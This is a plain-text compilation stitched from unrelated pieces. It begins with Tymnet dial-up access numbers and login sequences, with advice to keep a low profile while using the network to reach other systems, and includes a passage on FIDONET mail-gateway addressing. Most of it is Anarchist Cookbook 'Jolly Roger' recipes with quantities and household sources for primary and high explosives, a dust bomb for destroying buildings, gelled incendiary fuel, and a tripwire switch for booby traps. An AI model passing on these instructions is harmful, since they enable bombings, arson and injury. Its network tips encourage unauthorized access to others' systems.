  14049. @MRLK
  14050.   06510   STILLWATER            OKLAHOMA        300/1200 405/377-5500
  14051. @MRLK
  14052.   03167   TULSA                 OKLAHOMA        300/1200 918/583-6606
  14053.  
  14054.  
  14055. @MRLK
  14056.   06510   WOODWARD              OKLAHOMA        300/1200 405/256-9947
  14057. @MRLK
  14058.  
  14059.  
  14060.  
  14061.  
  14062.    @MRLK - SOUTHWESTERN BELL TELEPHONE- NETWORK NAME IS MICROLINK II(R)
  14063.  
  14064.              (CONNECT MESSAGE)
  14065.              (PLEASE TYPE YOUR TERMINAL IDENTIFIER)
  14066.  
  14067.              A _                  (YOUR TERMINAL IDENTIFIER)
  14068.  
  14069.              WELCOME TO MICROLINK II
  14070.              -XXXX:01-030-
  14071.              PLEASE LOG IN:
  14072.              .T < _C _R _> _            (USERNAME TO ACCESS TYMNET)
  14073.  
  14074.  
  14075.              HOST: CALL CONNECTED
  14076.  
  14077.              -GWY 0XXXX- TYMNET: PLEASE LOG IN:
  14078.  
  14079.  
  14080.                              SOUTHERN NEW ENGLAND
  14081.  
  14082. NODE    CITY                  STATE           DENSITY  ACCESS NUMBERS NWRK
  14083. -----   -------------------   -----------     -------  -------------- -----
  14084. 02727   BRIDGEPORT            CONNECTICUT     300/2400 203/366-6972
  14085. @CONNNET
  14086. 02727   BRISTOL               CONNECTICUT     300/2400 203/589-5100
  14087. @CONNNET
  14088. 02727   CANAAN                CONNECTICUT     300/2400 203/824-5103
  14089. @CONNNET
  14090. 02727   CLINTON               CONNECTICUT     300/2400 203/669-4243
  14091. @CONNNET
  14092. 02727   DANBURY               CONNECTICUT     300/2400 203/743-2906
  14093. @CONNNET
  14094. 02727   DANIELSON             CONNECTICUT     300/2400 203/779-1880
  14095. @CONNNET
  14096. 02727   HARTFORD/MIDDLETOWN   CONNECTICUT     300/2400 203/724-6219
  14097. @CONNNET
  14098. 02727   MERIDEN               CONNECTICUT     300/2400 203/237-3460
  14099. @CONNNET
  14100. 02727   NEW HAVEN             CONNECTICUT     300/2400 203/776-1142
  14101. @CONNNET
  14102. 02727   NEW LONDON            CONNECTICUT     300/2400 203/443-0884
  14103. @CONNNET
  14104. 02727   NEW MILFORD           CONNECTICUT     300/2400 203/355-0764
  14105. @CONNNET
  14106. 02727   NORWALK               CONNECTICUT     300/2400 203/866-5305
  14107. @CONNNET
  14108. 02727   OLD GREDDWICH         CONNNETICUT     300/2400 203/637-8872
  14109. @CONNNET
  14110. 02727   OLD SAYBROOK          CONNECTICUT     300/2400 203/388-0778
  14111. @CONNNET
  14112. 02727   SEYMOUR               CONNECTICUT     300/2400 203/881-1455
  14113.  
  14114.  
  14115. @CONNNET
  14116. 02727   STAMFORD              CONNECTICUT     300/2400 203/324-9701
  14117. @CONNNET
  14118. 02727   STORRS                CONNECTICUT     300/2400 203/429-4243
  14119. @CONNNET
  14120. 02727   TORRINGTON            CONNECTICUT     300/2400 203/482-9849
  14121. @CONNNET
  14122. 02727   WATERBURY             CONNECTICUT     300/2400 203/597-0064
  14123. @CONNNET
  14124. 02727   WILLIMANTIC           CONNECTICUT     300/2400 203/456-4552
  14125. @CONNNET
  14126. 02727   WINDSOR               CONNECTICUT     300/2400 203/688-9330
  14127. @CONNNET
  14128. 02727   WINDSOR LCKS/ENFIELD  CONNECTICUT     300/2400 203/623-9804
  14129. @CONNNET
  14130.  
  14131.  
  14132.  
  14133.     @CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN CONNNET
  14134.  
  14135.      (CONNECT MESSAGE)
  14136.  
  14137.       H_ H_ <_ C_ R_>        (SYNCHRONIZES DATA SPEEDS)
  14138.                         (DOES NOT ECHO TO THE TERMINAL)
  14139.       CONNNET
  14140.  
  14141.      ._ T_ <_ C_ R_>_         (MUST BE CAPITAL LETTERS)
  14142.  
  14143.       26-SEP-88   18:33          (DATA)
  14144.       031069                     (ADDRESS CONFIRMATION)
  14145.       COM                        (CONFIRMATION OF CALL SET-UP)
  14146.  
  14147.       -GWY OXXXX-TYMNET: PLEASE LOG IN:
  14148.  
  14149. On a side note, the recent book The Cuckoo's Egg provides some interesting
  14150. information (in the form of a story, however) on a Tymnet hacker.  Remember
  14151. that he was into BIG things, and hence he was cracked down upon.  If you
  14152. keep a
  14153. low profile, networks should provide a good access method.
  14154.  
  14155. If you can find a system that is connected to the Internet that you can get
  14156. on
  14157. from Tymnet, you are doing well.
  14158. ___________________________________________________________________________╝____
  14159.  
  14160. Username@f<node #>.n<net #>.z<zone #>.ifna.org
  14161.  
  14162. In other words, if I wanted to mail to Silicon Swindler at 1:135/5, the
  14163. address
  14164. would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided that your
  14165. mailer
  14166. knows the .ifna.org domain, it should get through alright.  Apparently, as
  14167. of
  14168. the writing of this article, they have implemented a new gateway name
  14169. called
  14170. fidonet.org which should work in place of ifna.org in all routings.  If
  14171. your
  14172.  
  14173.  
  14174. mailer does not know either of these domains, use the above routing but
  14175. replace
  14176. the first "@" with a "%" and then afterwards, use either of the following
  14177. mailers after the "@":  CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f<node
  14178. #>.n<net #>.z<zone #>.fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with
  14179. K9.CS.ORST.EDU]).
  14180.  
  14181. The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that
  14182. was
  14183. posted on INFONETS DIGEST which lists a number of FIDONET gateways:
  14184.  
  14185. Net      Node    Node Name
  14186. ~~~      ~~~~    ~~~~~~~~~
  14187. 104      56      milehi.ifna.org
  14188. 105      55      casper.ifna.org
  14189. 107      320     rubbs.ifna.org
  14190. 109      661     blkcat.ifna.org
  14191. 125      406     fidogate.ifna.org
  14192. 128      19      hipshk.ifna.org
  14193. 129      65      insight.ifna.org
  14194. 143      N/A     fidogate.ifna.org
  14195. 152      200     castle.ifna.org
  14196. 161      N/A     fidogate.ifna.org
  14197. 369      17      megasys.ifna.org
  14198.  
  14199. NOTE:  The UUCP equivalent node name is the first part of the node name.
  14200. In
  14201.        other words, the UUCP node milehi is listed as milehi.ifna.org but
  14202. can
  14203.        be mailed directly over the UUCP network.
  14204.  
  14205. Another way to mail to FIDONET, specifically for Internet people, is in
  14206. this
  14207. format:
  14208.  
  14209. ihnp4!necntc!ncoast!ohiont!<net #>!<node #>!user_name@husc6.harvard.edu
  14210.  
  14211. And for those UUCP mailing people out there, just use the path described
  14212. and
  14213. ignore the @husc5.harvard.edu portion. There is a FIDONET NODELIST
  14214. available on
  14215. most any FIDONET bulletin board, but it is quite large.
  14216.  
  14217. ONTYME
  14218. ~~~~~~
  14219. Previously known as Tymnet, OnTyme is the McDonnell Douglas revision.
  14220. After
  14221. they bought out Tymnet, they renamed the company and opened an experimental
  14222. Internet gateway at ONTYME.TYMNET.COM but this is supposedly only good for
  14223. certain corporate addresses within McDonnell Douglas and Tymnet, not their
  14224. customers.  The userid format is xx.yyy or xx.y/yy where xx is a net name
  14225. and
  14226. yyy (or y/yy) is a true username.  If you cannot directly nail this, try:
  14227.  
  14228. xx.yyy%ONTYME.TYM
  14229. Sodium Chlorate                                by the Jolly Roger
  14230.  
  14231.      Sodium Chlorate is a strong oxidizer used in the manufacture of
  14232.  
  14233.  
  14234. explosives. It can be used in place of Potassium Chlorate.
  14235.  
  14236. Material Required                            Sources
  14237. -----------------                            -------
  14238.  
  14239. 2 carbon or lead rods (1 in. diameter        Dry Cell Batteries
  14240. by 5 in. long)                               (2-1/2 in. diameter by
  14241.                                              7" long) or plumbing
  14242.                                              supply store
  14243. Salt, or ocean water                         Grocery store or ocean
  14244. Sulfuric acid, diluted                       Motor Vehicle Batteries
  14245. Motor Vehicle
  14246. Water
  14247. 2 wires, 16 gauge (3/64 in. diameter approx.), 6 ft. long, insulated.
  14248. Gasoline
  14249. 1 gallon glass jar, wide mouth (5 in. diameter by 6 in. high approx.)
  14250. Sticks
  14251. String
  14252. Teaspoon
  14253. Trays
  14254. Cup
  14255. Heavy cloth
  14256. Knife
  14257. Large flat pan or tray
  14258.  
  14259. Procedure
  14260. ---------
  14261.  
  14262. 1) Mix 1/2 cup of salt into the one gallon glass jar with 3 litres (3
  14263. quarts) of water.
  14264. 2) Add 2 teaspoons of battery acid to the solution and stir vigorously
  14265. for 5 minutes.
  14266. 3) Strip about 4 inches of insulation from both ends of the two wires.
  14267. 4) With knife and sticks, shape 2 strips of wood 1 by 1/8 by 1-1/2. Tie
  14268. the wood strips to the lead or carbon rods so that they are 1-1/2 incles
  14269. apart.
  14270. 5) Connect the rods to the battery in a motor vehicle with the insulated
  14271. wire.
  14272. 6) Submerge 4-1/2 inches of the rods in the salt water solution.
  14273. 7) With gear in neutral position, start the vehicle engine. Depress the
  14274. accelerator approx. 1/5 of its full travel.
  14275. 8) Run the engine with the accelerator in this position for 2 hours, then
  14276. shut it down for 2 hours.
  14277. 9) Repeat this cycle for a total of 64 hours while maintaining the level
  14278. of the acid-salt water solution in the glass jar.
  14279.  
  14280. CAUTION: This arrangement employs voltages which can be quite dangerous!
  14281. Do not touch bare wire leads while engine is running!!
  14282.  
  14283. 10) Shut off the engine. Remove the rods from the glass jar and
  14284. disconnect wire leads from the battery.
  14285. 11) Filter the solution through the heavy cloth into a flat pan or tray,
  14286. leaving the sediment at the bottom of the glass jar.
  14287. 12) Allow the water in the filtered solution to evaporate at room
  14288. temperature (approx. 16 hours). The residue is approximately 60% or more
  14289. sodium chlorate which is pure enough to be used as an explosive
  14290. ingredient.
  14291.  
  14292.  
  14293.  
  14294.                          ---------------Jolly Roger
  14295.  
  14296.  
  14297.  
  14298. Mercury Fulminate                                 by the Jolly Roger
  14299.  
  14300.      Mercury Fulminate is used as a primary explosive in the fabrication
  14301. of detonators. It is to be used with a booster explosive such as picric
  14302. acid or RDX (which are elsewhere in this Cookbook).
  14303.  
  14304. Material Required                                 Source
  14305. -----------------                                 ------
  14306.  
  14307. Nitric Acid, 90% conc. (1.48 sp. gr)              Elsewhere in this
  14308.                                                   Cookbook, or in
  14309.                                                   industrial metal
  14310.                                                   processors
  14311. Mercury                                           Thermometers,
  14312.                                                   mercury switches,
  14313.                                                   old radio tubes
  14314. Ethyl (grain) alcohol (90%)
  14315. Filtering material                                Paper towels
  14316. Teaspoon measure (1/4, 1/2. and 1 tsp.
  14317.      capacity)-aluminum, stainless steel
  14318.      or wax coated
  14319. Heat Source
  14320. Clean wooden stick
  14321. Clean water
  14322. Glass containers
  14323. Tape
  14324. Syringe
  14325.  
  14326. Procedure:
  14327. ---------
  14328.  
  14329. 1) Dilute 5 teaspoons of nitric acid with 2-1/2 teaspoons of clean water
  14330. in a glass container by adding the acid to the water.
  14331. 2) Dissolve 1/8 teaspoon of mercury in the diluted nitric acid. This
  14332. will yield dark red fumes. NOTE: It may be necessary to add water, on
  14333. drop at a time, to the mercury-acid solution in order to start a
  14334. reaction.
  14335.  
  14336. CAUTION: Acid will burn skin and destroy clothing. If any is spilled,
  14337. wash it away with a large quantity of water. Do NOT inhale fumes!
  14338.  
  14339. 3) Warm 10 teaspoons of the alcohol in a container until the alcohol
  14340. feels warm to the inside of the wrist.
  14341. 4) Pour the metal-acid solution into the warm alcohol. Reaction should
  14342. start in less than 5 minutes. Dense white fumes will be given off during
  14343. the reaction. As time lapses, the fumes will become less dense. Allow 10
  14344. to 15 minutes to complete reaction. Fulminate will settle to the bottom.
  14345.  
  14346. CAUTION: This reaction generates large quantities of toxic, flammable
  14347. fumes. The process MUST be conducted outdoors or in a well-ventilated
  14348. area, away from sparks or open flames. DO NOT inhale fumes!
  14349.  
  14350. 5) Filter the solution through a paper towel into a container. Crystals
  14351. may stick to the side of the container. If so, tilt and squirt water
  14352.  
  14353.  
  14354. down the sides of the container until all of the material collects on
  14355. the filter paper.
  14356. 6) Wash the crystals with 6 teaspoons of ethyl alcohol.
  14357. 7) Allow these mercury fulminate crystals to air dry.
  14358.  
  14359. CAUTION: Handle dry explosive with great care. Do not scrape or handle
  14360. it roughly! Keep away from sparks or open flames. Store in a cool, dry
  14361. place.
  14362.  
  14363.                              ----------------Jolly Roger
  14364.  
  14365.  
  14366.  
  14367. Improvised Black Powder                             by the Jolly Roger
  14368.  
  14369.      Black powder can be prepared in a simple, safe manner. It may be used
  14370. as
  14371. blasting or gun powder.
  14372.  
  14373. Material Required
  14374. -----------------
  14375.  
  14376. Potassium Nitrate, granulated, 3 cups (3/4 liter)
  14377. Wood charcoal, powdered, 2 cups
  14378. Sulfur, powdered, 1/2 cup
  14379. Alcohol, 5 pints (2-1/2 liters) (whiskey, rubbing alcohol, etc.)
  14380. Water, 3 cups (3/4 liter)
  14381. Heat source
  14382. 2 buckets - each 2 gallon (7-1/2 litres) capacity, at least one of which is
  14383.      heat resistant (metal, ceramic, etc.)
  14384. Flat window screening, at least 1 foot (30 cm) square
  14385. Large wooden stick
  14386. Cloth, at leat 2 feet (60 cm) square
  14387.  
  14388. Procedure:
  14389. ---------
  14390.  
  14391. 1) Place alcohol in one of the buckets.
  14392. 2) Place potassium nitrate, charcoal, and sulfur in the heat resistant
  14393. bucket. Add 1 cup water and mix thoroughly with wooden stick until all
  14394. ingrediants are dissolved.
  14395. 3) Add remaining water (2 cups) to mixture. Place bucket on heat source and
  14396. stir until small bubbles begin to form.
  14397.  
  14398. CAUTION: DO NOT boil mixture. Be sure ALL mixture stays wet. If any is dry,
  14399. as on sides of pan, it may ignite!
  14400.  
  14401. 4) Remove bucket from heat and pour mixture into alcohol while stirring
  14402. vigorously.
  14403. 5) Let alcohol mixture stand about 5 minutes. Strain mixture through cloth
  14404. to
  14405. obtain black powder. Discard liquid. Wrap cloth around black powder and
  14406. squeeze to remove all excess liquid.
  14407. 6) Place screening over dry bucket. Place workable amount of damp powder on
  14408. screen and granulate by rubbing solid through screen. NOTE: If granulated
  14409. particles appear to stick together and change shape, recombine entire batch
  14410. of powder and repeat steps 5 & 6.
  14411. 7) Spread granulated black powder on flat, dry surface so that layer about
  14412.  
  14413.  
  14414. 1/2 inch (1-1/4 cm) is formed. Allow to dry. Use radiator, or direct
  14415. sunlight. This should be dried as soon as possible, preferably in an hour.
  14416. The longer the drying period, the less effective the black powder.
  14417.  
  14418. CAUTION: Remove from heat AS SOON AS granules are dry. Black powder isnow
  14419. ready to use.
  14420.  
  14421. Nitric Acid                                     by the Jolly Roger
  14422.  
  14423.      Nitric Acid is used in the preparation of many explosives, incediary
  14424. mixtures, and acid delay timers. It may be prepared by distilling a mixture
  14425. of potassium nitrate and concentrated sulfuric acid.
  14426.  
  14427. Material Required                                 Sources
  14428. -----------------                                 -------
  14429. Potassium Nitrate (2 parts by volume)             Elsewhere in this
  14430.                                                   Cookbook, or drug store
  14431. CONCENTRATED sulfuric acid (1 part by volume)     Motor vehicle batteries
  14432.                                                   Industrial plants
  14433. 2 bottles or ceramin jugs (narrow necks are
  14434.      preferable)
  14435. Pot or frying pan
  14436. Heat source (wood, charcoal, or coal)
  14437. Tape (paper, electrical, masking, but NOT cellophane!)
  14438. Paper or rags
  14439.  
  14440. IMPORTANT: If sulfuric acid is obtained from a motor vehicle battery,
  14441. concentrate it by boiling it UNTIL white fumes appear. DO NOT INHALE FUMES
  14442.  
  14443. NOTE: The amount of nitric acid produced is th same as the amount of
  14444. potassium nitrate. Thus, for two tablespoons of nitric acid, use 2
  14445. tablespoons of potassium nitrate and 1 tablespoonful of concentrated
  14446. sulfuric
  14447. acid.
  14448.  
  14449. Procedure:
  14450. ---------
  14451.  
  14452. 1) Place dry potassium nitrate in bottle or jug. Add sulfuric acid. Do not
  14453. fill the bottle more than 1/4 full. Mix until paste is formed.
  14454.  
  14455. CAUTION: DO NOT INHALE FUMES!
  14456.  
  14457. 2) Wrap paper or rags around necks of two bottles. securly tape necks of
  14458. two
  14459. bottles together. Be sure that bottles are flush against each other and
  14460. that
  14461. there are no air spaces.
  14462. 3) Support bottles on rocks or cans so that empty bottle is SLIGHTLY lower
  14463. than bottle containing paste so that nitric acid that is formed in
  14464. receiving
  14465. bottle will not run into other bottle.
  14466. 4) Build fire in pot or frying pan.
  14467. 5) Gently heat bottle containing mixture by gently moving fire in and out.
  14468. As
  14469. red fumes begin to appear periodically pour cool water over empty receiving
  14470. bottle. Nitric acid will befin to form in receiving bottle.
  14471.  
  14472.  
  14473.  
  14474. CAUTION: Do not overheat or wet bottle containing mixture or it may
  14475. shatter.
  14476. As an added precaution, place bottle to be heated in heat resistant
  14477. container
  14478. filled with sand or gravel. Heat this outer container to produce nitric
  14479. acid.
  14480.  
  14481. 6) Continue the above process until no more red fumes are formed. If the
  14482. nitric acid formed in the receiving bottle is not clear (cloudy) pour it
  14483. into
  14484. cleaned bottle and repeat steps 2-6.
  14485.  
  14486. CAUTION: Nitric acid should be ket away from all combustables and should be
  14487. kept in a SEALED CERAMIC OR GLASS container. DO NOT inhale fumes!
  14488.  
  14489.                               ----------------Jolly Roger
  14490.  
  14491.  
  14492. Dust Bomb Instructions                               by the Jolly Roger
  14493.  
  14494.      An initiator which will initiate common material to produce dust
  14495. explosions can be rapidly and easily constructed. This type of charge is
  14496. ideal for the destruction of enclosed areas such as rooms or buildings.
  14497.  
  14498. Material Required
  14499. -----------------
  14500. A flat can, 3 in. (8 cm) in diameter and 1-1/2 in. (3-3/4 cm) high. A 6-
  14501.      1/2 ounce tuna can serves the purpose quite well.
  14502. Blasting cap
  14503. Explosive
  14504. Aluminum (may be wire, cut sheet, flattened can, or powder)
  14505. Large nail, 4 in. (10 cm) long
  14506. Wooden rod - 1/4 in. (6 mm) diameter
  14507. Flour, gasoline, and powder or chipped aluminum
  14508.  
  14509. NOTE: Plastic explosive produce better explosions than cast explosives.
  14510.  
  14511. Procedure:
  14512. ---------
  14513.  
  14514. 1) Using the nail, press a hole through the side of the tuna can 3/8 inch
  14515. to 1/2 inch (1 to 1-1/2 cm) from the bottom. Using a rotating and lever
  14516. action, enlarge the hole until it will accomodate the blasting cap.
  14517. 2) Place the wooden rod in the hole and position the end of the rod at the
  14518. center of the can.
  14519. 3) Press explosive into the can, being sure to surround the rod, until it
  14520. is 3/4 inch (2 cm) from the top of the can. Carefully remove the wooden
  14521. rod.
  14522. 4) Place the aluminum metal on top of the explosive.
  14523. 5) Just before use, insert the blasting cap into the cavity made by the
  14524. rod. The initiator is now ready to use.
  14525.  
  14526. NOTE: If it is desired to carry the initiator some distance, cardboard may
  14527. be pressed on top of the aluminum to insure against loss of material.
  14528.  
  14529. How to Use:
  14530. ----------
  14531.  
  14532.  
  14533.  
  14534.      This particular unit works quite well to initiate charges of five
  14535. pounds of flour, 1/2 gallon (1-2/3 litres) of gasoline, or two pounds of
  14536. flake painters aluminum. The solid materials may merely be contained in
  14537. sacks or cardboard cartons. The gasoline may be placed in plastic coated
  14538. paper milk cartons, as well as plastic or glass bottles. The charges are
  14539. placed directly on top of the initiator and the blasting cap is actuated
  14540. electrically or by a fuse depending on the type of cap employed. this will
  14541. destroy a 2,000 cubic feet enclosure (building 10 x 20 x 10 feet).
  14542.  
  14543. Note: For larger enclosures, use proportionally larger initiators and
  14544. charges.
  14545.  
  14546.                               ---------------Jolly Roger
  14547.  
  14548. Carbon-Tet Explosive                            by the Jolly Roger
  14549.  
  14550.      A moist explosive mixture can be made from fine aluminum powder
  14551. combined
  14552. with carbon tetrachloride or tetrachloroethylene. This explosive can be
  14553. detonated with a blasting cap.
  14554.  
  14555. Material Required                                 Source
  14556. -----------------                                 ------
  14557. Fine aluminum bronzing powder                     Paint store
  14558. Carbon Tetrachloride                              Pharmacy, or fire
  14559.          or                                       extinguisher fluid
  14560. tetrachloroethylene                               Dry cleaners, pharmacy
  14561. Stirring rod (wood)
  14562. Mixing container (bowl, bucket, etc.)
  14563. Measuring container (cup, tablespoon, etc.)
  14564. Storage container (jar, can, etc.)
  14565. Blasting cap
  14566. Pipe, can or jar
  14567.  
  14568. Procedure:
  14569. ---------
  14570.  
  14571. 1) Measure out two parts aluminum powder to one part carbon tetrachloride
  14572. or
  14573. tetrachlorethylene liquid into mixing container, adding liquid to powder
  14574. while stirring with the wooden rod.
  14575. 2) Stir until the mixture becomes the consistency of honey syrup.
  14576.  
  14577. CAUTION: Fumes from the liquid are dangerous and should not be inhaled.
  14578.  
  14579. 3) Store explosive in a jar or similar water proof container until ready to
  14580. use. The liquid in the mixture evaporates quicky when not confined.
  14581.  
  14582. NOTE: Mixture will detonate in this manner for a period of 72 hours.
  14583.  
  14584. How to Use:
  14585. ----------
  14586.  
  14587. 1) Pour this mixture into an iron or steel pipe which has an end cap
  14588. threaded
  14589. on one end. If a pipe is not available, you may use a dry tin can or glass
  14590. jar.
  14591. 2) Insert blasting cap just beneath the surface of the explosive mix.
  14592.  
  14593.  
  14594. çNOTE: Confining the open end of the container will add to the effectiveness
  14595. of the explosive.
  14596.  
  14597.                               ---------------Jolly Roger
  14598.  
  14599. Making Picric Acid from Aspirin                         by the Jolly Roger
  14600.  
  14601.      Picric Acid can be used as a booster explosive in detonators, a high
  14602. explosive charge, or as an intermediate to preparing lead picrate.
  14603.  
  14604. Material Required
  14605. -----------------
  14606. Aspirin tablets (5 grains per tablet)
  14607. Alcohol, 95% pure
  14608. Sulfuric acid, concentrated, (if battery acid, boil until white fumes
  14609.      disappear)
  14610. Potassium Nitrate (see elsewhere in this Cookbook)
  14611. Water
  14612. Paper towels
  14613. Canning jar, 1 pint
  14614. Rod (glass or wood)
  14615. Glass containers
  14616. Ceramic or glass dish
  14617. Cup
  14618. Teaspoon
  14619. Tablespoon
  14620. Pan
  14621. Heat source
  14622. Tape
  14623.  
  14624. Procedure:
  14625. ---------
  14626.  
  14627. 1) Crush 20 aspirin tablets in a glass container. Add 1 teaspoon of water
  14628. and work into a paste.
  14629. 2) Add approximately 1/3 to 1/2 cup of alcohol (100 millilitres) to the
  14630. aspirin paste; stir while pouring.
  14631. 3) Filter the alcohol-aspirin solution through a paper towel into another
  14632. glass container. Discard the solid left in the paper towel.
  14633. 4) Pour the filtered solution into a glass or ceramic dish.
  14634. 5) Evaporate the alcohol and water from the solution by placing the dish
  14635. into a pan of hot water. White powder will remain in the dish after
  14636. evaporation.
  14637.  
  14638. NOTE: The water in the pan should be at hot bath temperature, not boiling,
  14639. approx. 160 to 180 degress farenheit. It should not burn the hands.
  14640.  
  14641. 6) Pour 1/3 cup (80 millilitres) of concentrated sulfuric acid into a
  14642. canning jar. Add the white powder to the sulfuric acid.
  14643. 7) Heat canning jar of sulfuric acid in a pan of simmering hot water bath
  14644. for 15 minutes; then remove jar from the bath. Solution will turn to a
  14645. yellow-orange color.
  14646. 8) Add 3 level teaspoons (15 grams) of potassium nitrate in three portions
  14647. to the yellow-orange solution; stir vigorously during additions. Solution
  14648. will turn red, then back to a yellow-orange color.
  14649. 9) Allow the solution to cool to ambient room temperature while stirring
  14650. occasionally.
  14651. 10) Slowly pour the solution, while stirring, into 1-1/4 cup (300
  14652.  
  14653.  
  14654. millilitres) of cold water and allow to cool.
  14655. 11) Filter the solution through a paper towel into a glass container. Light
  14656. yellow particles will collect on the paper towel.
  14657. 12) Wash the light yellow particles with 2 tablespoons (25 millilitres) of
  14658. water. Discard the waste liquid in the container.
  14659. 13) Place articles in ceramic dish and set in a hot water bath, as in step
  14660. 5, for 2 hours.
  14661.  
  14662.                               --------------Jolly Roger
  14663.  
  14664.  
  14665. Reclamation of RDX from C-4 Explosives            by the Jolly Roger
  14666.  
  14667.      RDX can be obtained from C-4 explosives with the use of gasoline. It
  14668. can
  14669. be used as a booster explosive for detonators or as a high explosive
  14670. charge.
  14671.  
  14672. Material Required
  14673. -----------------
  14674. Gasoline
  14675. C-4 explosive
  14676. 2 - pint glass jars, wide mouth
  14677. Paper towels
  14678. Stirring rod (glass or wood)
  14679. Water
  14680. Ceramic or glass dish
  14681. Pan
  14682. Heat source
  14683. Teaspoon
  14684. Cup
  14685. Tape
  14686.  
  14687. NOTE: Water, Ceramic or glass dish, pan, & heat source are all optional.
  14688. The
  14689. RDX can be air dried instead.
  14690.  
  14691. Procedure:
  14692. ---------
  14693.  
  14694. 1) Place 1-1/2 teaspoons (15 grams) of C-4 explosive in one of the pint
  14695. jars.
  14696. Add 1 cup (240 milliliters) of gasoline.
  14697.  
  14698. NOTE: These quantities can be increased to obtain more RDX. For example,
  14699. use 2
  14700. gallons of gasoline per 1 cup of C-4.
  14701.  
  14702. 2) Knead and stir the C-4 with the rod until the C-4 has broken down into
  14703. small
  14704. particles. Allow mixture to stand for 1/2 hour.
  14705. 3) Stir the mixture again until a fine white powder remains on the bottom
  14706. of
  14707. the jar.
  14708. 4) Filter the mixture through a paper towel into the other glass jar. Wash
  14709. the
  14710. particles collected on the paper towel with 1/2 cup (120 milliliters) of
  14711. gasoline. Discard the waste liquid.
  14712.  
  14713.  
  14714. 5) Place the RDX particles in a glass or ceramic dish. Set the dish in a
  14715. pan of
  14716. hot water, not boiling and dry for a period of 1 hour.
  14717.  
  14718. NOTE: The RDX particles may be air dried for a period of 2 to 3 hours.
  14719.  
  14720.                               --------------Jolly Roger
  14721.  
  14722.  
  14723. Egg-based Gelled Flame Fuels                          by the Jolly Roger
  14724.  
  14725.      The white of any bird egg can be used to gel gasoline for use as a
  14726. flame fuel which will adhere to target surfaces.
  14727.  
  14728. Materials Required
  14729. ------------------
  14730.  
  14731. Parts by
  14732. Volume               Ingredient              How used        Common Source
  14733. --------             ----------              --------        -------------
  14734.  
  14735. 85                   Gasoline                Motor Fuel      Gas Stations
  14736.                                              Stove Fuel      Motor Vehicle
  14737.                                              Solvent
  14738.  
  14739. 14                   Egg Whites              Food            Food Store
  14740.                                              Industrial      Farms
  14741.                                                Processes
  14742.  
  14743. Any one of the following:
  14744.  
  14745. 1                    Table Salt              Food            Sea Water
  14746.                                              Industrial      Natural Brine
  14747.                                                Processes     Food Store
  14748.  
  14749. 3                    Ground Coffee           Food            Coffee Plant
  14750.                                                              Food Store
  14751.  
  14752. 3                    Dried Tea Leaves        Food            Tea Plant
  14753.                                                              Food Store
  14754.  
  14755. 3                    Cocoa                   Food            Cacao Tree
  14756.                                                              Food Store
  14757.  
  14758. 2                    Sugar                   Sweetening      Sugar Cane
  14759.                                                foods         Food Store
  14760.  
  14761. 1                    Saltpeter               Pyrotechnics    Natural
  14762.                      (Potassium              Explosives        Deposits
  14763.                      Nitrate)                Matches         Drug Store
  14764.                                              Medicine
  14765.  
  14766. 1                    Epsom Salts             Medicine        Natural
  14767.                                              Mineral Water   Kisserite
  14768.                                              Industrial      Drug Store
  14769.                                                Processes     Food Store
  14770.  
  14771. 2                    Washing Soda            Washing Cleaner Food Store
  14772.  
  14773.  
  14774.                      (Sal Soda)              Medicine        Drug Store
  14775.                                              Photography     Photo Supply
  14776.                                                                Store
  14777.  
  14778. 1 1/2                Baking Soda             Baking          Food Store
  14779.                                              Manufacturing   Drug Store
  14780.                                              of: Beverages
  14781.                                                  Medicines
  14782.                                                     and
  14783.                                                  Mineral
  14784.                                                    Waters
  14785.  
  14786. 1 1/2                Aspirin                 Medicine        Drug Store
  14787.                                                              Food Store
  14788.  
  14789. Procedure:
  14790. ---------
  14791.  
  14792. CAUTION: Make sure that ther are no open flames in the area when mixing
  14793. flame fuels! NO SMOKING!!
  14794.  
  14795. 1) Seperate the egg white from the yolk. This can be done by breaking the
  14796. egg into a dish and carefully removing the yolk with a spoon.
  14797. 2) Pour egg white into a jar, bottle, or other container, and add gasoline.
  14798. 3) Add the salt (or other additive) to the mixture and stir occasionally
  14799. until gel forms (about 5 to 10 minutes).
  14800.  
  14801. NOTE: A thicker gelled flame fuel can be obtained by putting the capped jar
  14802. in hot (65 degrees Centegrade) water for about 1/2 hour and then letting
  14803. them cool to room temperature. (DO NOT HEAT THE GELLED FUEL CONTAINING
  14804. COFFEE!!)
  14805.  
  14806.                        ----------------------Jolly Roger
  14807.  
  14808.  
  14809.  
  14810. Clothespin Switch                           by the Jolly Roger
  14811.  
  14812.      A spring type clothespin is used to make a circuit closing switch to
  14813. actuate explosive charges, mines, booby traps, and alarm systems.
  14814.  
  14815. Material Required:
  14816. -----------------
  14817.  
  14818. Spring type clothespin
  14819. Sold copper wire -- 1/16 in. (2 mm) in diameter
  14820. Strong string on wire
  14821. Flat piece of wood (roughly 1/8 x 1" x 2")
  14822. Knife
  14823.  
  14824. Procedure:
  14825. ---------
  14826.  
  14827. 1) Strip four in. (10 cm) of insulation from the ends of 2 solid copper
  14828. wires. Scrape the copper wires with pocket knife until the metal is
  14829. shiny.
  14830. 2) Wind one scraped wire tightly on jaw of the clothespin, and the other
  14831. wire on the other jaw.
  14832.  
  14833.  
  14834. 3) Make a hole in one end of the flat piece of wood using a knife, heated
  14835. nail or drill.
  14836. 4) Tie strong string or wire through the hole.
  14837. 5) Place flat piece of wood between the jaws of the clothespin switch.
  14838.  
  14839. Basic Firing Circuit:
  14840. --------------------
  14841.  
  14842.         ______________
  14843.        |              |---------------------------\
  14844.        |  initiator   |----------\                |      strong
  14845.         --------------           |                |      twine
  14846.                                  |                |          \
  14847.                                  |               _---------_________
  14848.                                  |                ---------
  14849.                                  |                 |      \clothespin
  14850.                          \                /
  14851.                                   \              /         switch
  14852.                                    \            /
  14853.                                     \          /
  14854.                                      \        /
  14855.                                       +      -
  14856.                                      ----------
  14857.                                      |        |
  14858.                                      | battery|
  14859.                                      ----------
  14860.  
  14861.      When the flat piece of wood is removed by pulling the string, the
  14862. jaws of the clothespin will close, completing the circuit.
  14863.  
  14864. CAUTION: Do not attach the battery until the switch and trip wire have
  14865. been emplaced and examined. Be sure that the flat piece of wood is
  14866. seperating the jaws of the switch.
  14867.  
  14868.           -----------------Jolly Roger
  14869.  
  14870.  
  14871. Flexible Plate Switch                             by the Jolly Roger
  14872.  
